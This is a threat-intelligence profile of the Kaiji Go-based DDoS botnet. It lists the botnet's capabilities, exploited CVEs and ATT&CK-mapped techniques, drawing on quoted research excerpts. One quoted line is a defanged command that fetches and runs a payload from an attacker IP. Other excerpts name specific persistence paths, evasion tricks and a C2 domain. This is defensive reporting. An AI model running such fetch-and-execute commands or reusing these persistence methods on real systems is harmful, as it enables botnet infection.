Kaiji
- Type
- Botnet
- Capabilities
- DDOSBrute forceInitial accessLateral movementPersistenceDefense evasionReconnaissancePost exploitationSpoofing
- Delivery
- Cracked software
- Platforms
- LinuxIOT
Kaiji is a Go-based botnet malware family targeting Linux servers and Internet of Things devices, primarily for distributed denial-of-service attacks. Its custom implant was developed independently rather than derived from Mirai or BillGates code. Kaiji supports TCP and UDP floods, SYN, SYN-ACK and ACK attacks, and IP-spoofing attacks. It also executes arbitrary shell commands, collects host and process information, accepts command-and-control configuration changes, and can remove itself and its persistence mechanisms.
Kaiji initially propagated through SSH brute-force attacks against exposed root accounts. It also attempts lateral movement using existing SSH private keys and host addresses recovered from shell history. Later deployments have exploited vulnerable systems and unauthenticated Docker APIs. In Docker attacks, operators deploy a rogue ARM container that downloads and executes the malware. Observed exploitation activity includes CVE-2024-7954, CVE-2023-1389 and React2Shell, CVE-2025-55182. Shell-based staging scripts deliver architecture-specific payloads.
Kaiji establishes redundant persistence through systemd services, SysVinit startup mechanisms, scheduled jobs and shell startup configuration. Evasion behaviors include impersonating system utilities, relocating legitimate binaries, using bind mounts and modifying SELinux enforcement. Its command-and-control configuration may be encoded or encrypted. Kaiji has appeared in the REF6138 Linux-server intrusion campaign alongside separate cryptocurrency-mining payloads, and Ares builds can deploy XMRig. Chaos is a related successor that shares Kaiji code, but its expanded capabilities should not be assumed to apply to every Kaiji variant.
Associated vulnerabilities
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
35 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
"...final payloads were the Kaiji and Rustobot botnets and the Sliver implant."
The file share hosted daily uploads of fresh KAIJI samples with previously unseen hashes, and the actors repeatedly attempted to deploy custom-built apache2 binaries.
Initial Access
1 technique
Initial Access
The host was compromised by obtaining arbitrary code execution on a server running Apache2.
Execution
5 techniques
Execution
GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.
wget hxxp://122[.]51[.]133[.]49:10086/VIP –O VIP chmod 777 VIP ./VIP
The attacker used the www-data account to download a script named 00.sh; subsequent payloads were executed with sh -c, wget, chmod, and bash.
The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.
After finding a target, they pinged the Docker server before deploying a rogue ARM container that executed the Kaiji binary.
Persistence
8 techniques
Persistence
main_runghost: Install persistence through /etc/profile.d (/etc/profile.d/linux.sh)
".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."
GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.
The Apache backdoor became active again, and gk.php and 404.php PHP payloads were fetched for likely future access.
main_runkshell: Install persistence through rc.d and Systemd services: Systemd (/etc/systemd/system/linux.service)
The detection rule flags suspicious shell configuration-file creation, "aligning with tactics like persistence and event-triggered execution."
"Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system."
KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.
Privilege Escalation
6 techniques
Privilege Escalation
main_runghost: Install persistence through /etc/profile.d (/etc/profile.d/linux.sh)
".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."
GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.
main_runkshell: Install persistence through rc.d and Systemd services: Systemd (/etc/systemd/system/linux.service)
The detection rule flags suspicious shell configuration-file creation, "aligning with tactics like persistence and event-triggered execution."
"Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system."
Stealth
7 techniques
Stealth
some of the C2 addresses are decrypted through a chain of three encryption schemes, while another C2 address is simply encoded in base64
A /usr/bin/lib directory is created and then Kaiji is installed under the filename ‘netstat’, ‘ps’, ‘ls’, or some other system tool name.
PeerBlight overwrites argv[0] in memory to hide its original path ... and replaces it with [ksoftirqd].
Afterwards, the script also removed other Linux binaries that are basic components of the operating system but are not necessary for its DDoS operation.
The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence ( rm -r wocaosinm.sh ).
ddos_rdemokill: Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.
GSOCKET creates /dev/shm/.gs-1000; KAIJI creates hidden artifacts such as /dev/.img, /dev/.old, and /.img.
Defense Impairment
2 techniques
Defense Impairment
KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.
KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies.
Credential Access
3 techniques
Credential Access
In late April we identified a new botnet campaign with definitive Chinese origins, targeting servers and IoT devices via SSH brute forcing.
KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.
ddos_Rotkit: Tries to connect to known hosts through existing SSH RSA keys or IPs found in bash history
Discovery
4 techniques
Discovery
whatserver.sh gathers server details including currently listening services, while malware installs and interacts with Systemd and SysVinit services.
The XORDDoS infection started with the attackers searching for hosts with exposed Docker API ports (2375).
It gathered the following data, which are relevant to its attempt to initiate a DDoS attack: CPU Information MD5 of Running Process Memory Information Network Speed PID of Running Process
ddos_rdemokill: Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.
Lateral Movement
1 technique
Lateral Movement
another ssh spreader which relies on hijacking local SSH keys to infect known hosts which the server has connected to in the past. | Kaiji spreads exclusively via SSH brute forcing by targeting the root user only.
Collection
1 technique
Collection
RUDEDEVIL reads /proc/stat and /proc/net/dev, and KAIJI searches audit logs for denied operations.
Command and Control
4 techniques
Command and Control
doLink routine: Decrypt C2 addresses, register the newly infected server to one of the command servers and launch the doTask and RotKit goroutines.
"...C2 channels over HTTP/HTTPS and WebSocket (TLS-capable)... The domain su6s.su is used as the C2 server..."
"...an embedded SOCKS5 and HTTP proxy... proxy malicious traffic, leveraging compromised systems as part of a botnet."
The actors repeatedly downloaded scripts and binaries with wget and curl, including KAIJI, RUDEDEVIL, GSOCKET, XMRIG, pspy64, and custom payloads.
Impact
1 technique
Impact
For DDoS operations, a target and an attack technique are retrieved. Attacks include: • Two TCPFlood implementations (one with raw sockets) • Two UDPFlood implementations (one with raw sockets) • IPSpoof attack • SYNACK attack • SYN attack • ACK attack
Observables
75 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
39 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.